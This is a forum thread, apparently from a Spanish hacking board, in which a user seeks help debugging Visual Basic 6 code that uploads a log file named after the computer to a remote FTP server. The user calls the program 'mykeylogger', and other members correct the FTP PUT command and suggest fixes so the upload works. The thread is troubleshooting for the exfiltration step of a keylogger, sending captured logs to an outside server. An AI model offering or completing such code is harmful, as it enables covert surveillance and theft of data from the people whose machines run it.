Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
error es: Runtype Miss match
código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub
¿Dónde está mal?
Thx for help
Hi odesa, check this example related with FTP http://foro.elhacker.net/programacion_vb/subir_txt_por_ftp-t231928.15.html (http://foro.elhacker.net/programacion_vb/subir_txt_por_ftp-t231928.15.html)
Look example ---> seba123neo
if you have some problem returns to write here.
un saludo / a greeting
No I use this code in a logger.Not a rat!I am explain the problem in english.
My program can create log with using computername ok at aplication path!
But it can't upload this log file to my ftp ok!
For example:
Myprogram name is :mykeylogger
My computer name is:Cafeplus
In Same Folder
Mykeylogger.exe --> Can create
Cafeplus.log -->But Can't upload the ftp :(
When it try this I get an error "Runtime miss match"
And My Code is :
Private Sub Timer3_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub
Private Sub Timer5_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "ftp://webadress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
End Sub
Hi ;), the error this in the load from the file to the FTP, no?
And it does not serve the URL of above to you?!!!if can serve to you, yes yes yes!
mmm furthermore can serve to you as guide ;D, look again :P
un saludo
the other way is:
Private Sub Timer3_Timer()
'On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute "PUT " & App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub
But I take statement error:(
What is wrong?
oh the error is evident:
Inet1.Execute "PUT " & App.Path + " \ " + computername + .log " & " + computername + .log "
you missed doble "
try this
Inet1.Execute "PUT " & App.Path & "\" & computername & ".log " & computername & ".log "
bye
Inet1.Execute "PUT " & App.Path & "\" & computername & ".log " & computername & ".log "
when I use this
not upload but no error only saving :(
why don't working :(
2 things, do computername is declared? and has some valule?
and other, do the file exists? i mean, the path app.path & "\" & computername & ".log" must be valid, check that first
bye